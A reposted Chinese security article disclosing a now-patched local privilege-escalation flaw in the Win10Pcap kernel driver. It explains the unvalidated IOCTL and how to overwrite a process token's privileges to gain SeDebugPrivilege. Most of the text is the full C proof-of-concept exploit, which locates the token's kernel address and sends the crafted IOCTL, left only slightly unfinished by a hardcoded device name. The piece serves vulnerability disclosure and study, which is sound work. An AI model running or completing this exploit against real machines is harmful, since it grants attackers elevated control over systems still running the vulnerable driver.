转载

Win10Pcap-Exploit:利用Win10Pcap内核驱动程序漏洞实现本地提权

前几天我在win10pcap驱动中发现一枚可以进行本地提权的漏洞,当时就已经报告给官方,现在已可以通过更新得到修复。

http://www.win10pcap.org/download/

应众多朋友请求,遂将样本exploit公布出来,供大家学习参考。

简介

Win10Pcap是一款全新的基于WinPcap网络抓包库。与WinPcap不同,Win10Pcap是兼容NDIS 6.x驱动模式,并且能够在Windows 10系统下稳定运行,于此同时Win10Pcap还支持捕获IEEE802.1Q VLAN目标。所以如果你是在Windows 10下安装的wireshark,那么Win10Pcap会成为你不二的选择。

漏洞概述

Win10Pcap内核驱动没有检测来自用户传递的虚拟地址,IOCTL函数既没有进行缓冲处理也没有管理I/O通道,没有写入探针来验证传递地址。

在运行时,你需要找到准确的设备名发送给IOCTL函数,硬编码设备名不会触发漏洞代码。

IOCTL函数在传递地址中写入一个字符串,这个字符串类似于:

"Global/WTCAP_EVENT_3889023063_1"

还有其他一些方式来利用这个漏洞,我决定覆盖_SEP_TOKEN_PRIVILEGES在进程令牌中设置权限。

在地址0×034使用字符串"Global/WTCAP_EVENT"覆盖令牌,不破坏敏感文件设置SeDebugPrivilege权限

81687cf8 cc      int   3 2: kd> dt nt!_TOken  +0x000 TokenSource  : _TOKEN_SOURCE  +0x010 TokenId    : _LUID  +0x018 AuthenticationId : _LUID  +0x020 ParentTokenId  : _LUID  +0x028 ExpirationTime : _LARGE_INTEGER  +0x030 TokenLock    : Ptr32 _ERESOURCE  +0x034 ModifiedId   : _LUID  +0x040 Privileges   : _SEP_TOKEN_PRIVILEGES  +0x058 AuditPolicy  : _SEP_AUDIT_POLICY 

Win10Pcap-Exploit:利用Win10Pcap内核驱动程序漏洞实现本地提权

福利Show

main.cpp:

#include <stdio.h> #include <tchar.h> #include<Windows.h> #include<stdio.h> #include <winternl.h> #include <intrin.h> #include <psapi.h> #include <strsafe.h> #include <assert.h> #defineSL_IOCTL_GET_EVENT_NAMECTL_CODE(0x8000, 1, METHOD_NEITHER, FILE_ANY_ACCESS) #define STATUS_SUCCESS((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH((NTSTATUS)0xc0000004L) /* found with : !token  1: kd> dt nt!_OBJECT_HEADER  +0x000 PointerCount   : Int4B  +0x004 HandleCount  : Int4B  +0x004 NextToFree   : Ptr32 Void  +0x008 Lock     : _EX_PUSH_LOCK  +0x00c TypeIndex    : UChar  +0x00d TraceFlags   : UChar  +0x00e InfoMask   : UChar  +0x00f Flags    : UChar  +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION  +0x010 QuotaBlockCharged : Ptr32 Void  +0x014 SecurityDescriptor : Ptr32 Void  +0x018 Body     : _QUAD TypeIndex is 0x5 */ #define HANDLE_TYPE_TOKEN0x5 // Undocumented SYSTEM_INFORMATION_CLASS: SystemHandleInformation const SYSTEM_INFORMATION_CLASS SystemHandleInformation =  (SYSTEM_INFORMATION_CLASS)16; // The NtQuerySystemInformation function and the structures that it returns  // are internal to the operating system and subject to change from one  // release of Windows to another. To maintain the compatibility of your  // application, it is better not to use the function. typedef NTSTATUS (WINAPI * PFN_NTQUERYSYSTEMINFORMATION)( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); // Undocumented structure: SYSTEM_HANDLE_INFORMATION typedef struct _SYSTEM_HANDLE  { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION  { ULONG NumberOfHandles; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; // Undocumented FILE_INFORMATION_CLASS: FileNameInformation const FILE_INFORMATION_CLASS FileNameInformation =  (FILE_INFORMATION_CLASS)9; // The NtQueryInformationFile function and the structures that it returns  // are internal to the operating system and subject to change from one  // release of Windows to another. To maintain the compatibility of your  // application, it is better not to use the function. typedef NTSTATUS (WINAPI * PFN_NTQUERYINFORMATIONFILE)( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); // FILE_NAME_INFORMATION contains name of queried file object. typedef struct _FILE_NAME_INFORMATION { ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; void* FindTokenAddressHandles(ULONG pid) { ///////////////////////////////////////////////////////////////////////// // Prepare for NtQuerySystemInformation and NtQueryInformationFile. //  // The functions have no associated import library. You must use the  // LoadLibrary and GetProcAddress functions to dynamically link to  // ntdll.dll. HINSTANCE hNtDll = LoadLibrary(_T("ntdll.dll")); assert(hNtDll != NULL); PFN_NTQUERYSYSTEMINFORMATION NtQuerySystemInformation =  (PFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,  "NtQuerySystemInformation"); assert(NtQuerySystemInformation != NULL); ///////////////////////////////////////////////////////////////////////// // Get system handle information. //  DWORD nSize = 4096, nReturn; PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize); // NtQuerySystemInformation does not return the correct required buffer  // size if the buffer passed is too small. Instead you must call the  // function while increasing the buffer size until the function no longer  // returns STATUS_INFO_LENGTH_MISMATCH. while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo,  nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH) { HeapFree(GetProcessHeap(), 0, pSysHandleInfo); nSize += 4096; pSysHandleInfo = (SYSTEM_HANDLE_INFORMATION*)HeapAlloc( GetProcessHeap(), 0, nSize); } for (ULONG i = 0; i < pSysHandleInfo->NumberOfHandles; i++) { PSYSTEM_HANDLE pHandle = &(pSysHandleInfo->Handles[i]); if (pHandle->ProcessId == pid && pHandle->ObjectTypeNumber == HANDLE_TYPE_TOKEN) { printf(" ObjectTypeNumber %d , ProcessId %d , Object  %p /r/n",pHandle->ObjectTypeNumber,pHandle->ProcessId,pHandle->Object); return pHandle->Object; } } ///////////////////////////////////////////////////////////////////////// // Clean up. //  HeapFree(GetProcessHeap(), 0, pSysHandleInfo); return 0; } void main() { DWORD dwBytesReturned; DWORD ShellcodeFakeMemory; HANDLE token; // first create toke handle so find  object address with handle  if(!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&token)) DebugBreak(); void* TokenAddress = FindTokenAddressHandles(GetCurrentProcessId()); CloseHandle(token); // i dont want write fully weaponized exploit so criminal must write code to find  "WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3" in runtime ( simple task :)   HANDLE hDriver = CreateFileA("////.//WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3}",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);   if(hDriver!=INVALID_HANDLE_VALUE)   {  fprintf(stderr," Open Driver OK/n");   if (!DeviceIoControl(hDriver, SL_IOCTL_GET_EVENT_NAME, NULL,0x80,(void*)((char*)TokenAddress+0x34),NULL,&dwBytesReturned, NULL))   {   fprintf(stderr,"send IOCTL error %d./n",GetLastError());   return;   }   else  fprintf(stderr," Send IOCTL OK/n");   }   else    {   fprintf(stderr," Open Driver error %d./n",GetLastError());   return;   }   CloseHandle(hDriver);   getchar(); } 

* 参考来源: github ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...